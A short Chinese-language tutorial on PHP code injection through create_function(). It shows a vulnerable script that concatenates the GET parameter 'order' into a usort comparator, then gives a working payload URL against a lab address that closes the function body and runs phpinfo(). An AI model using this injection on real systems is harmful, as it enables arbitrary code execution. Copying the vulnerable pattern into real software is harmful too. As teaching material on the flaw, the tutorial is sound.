Create function代码注入

在PHP中使用create_function()创建匿名函数,如果没有严格对参数传递进行过滤,攻击者可以构造特殊字符串传递给create_function()执行任意命令。

创建匿名函数

create_function('$fname','echo $fname."Zhang"')
类似于:
function fT($fname) {
  echo $fname."Zhang";
}


实例:

<?php
class User{
  public $id, $name, $age;
  function __construct($id, $name, $age){
    $this->name= $name;
    $this->age = $age;
    $this->id = $id;
  }   
}
    $sql = "SELECT * FROM users ";

    $order = $_GET["order"];
    $result = mysql_query($sql);
  if ($result) {
        while ($row = mysql_fetch_assoc($result)) {
      $users[] = new User($row['id'],$row['name'],$row['age']);
    }
    if (isset($order)) { 
      usort($users, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));
    }
    }   

        ?>
关键函数在于:
usort($users, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));
相当于:
function __lambda_func($a, $b)
{
    return strcmp($a->$order, $b-> $order); }
于是构造如下:
function __lambda_func($a,$b)
{
    return strcmp($a->id, $b->name);}phpinfo();//);}
payload: http://192.168.22.173/codeexec/example2.php?order=id,$b->name);}phpinfo();// title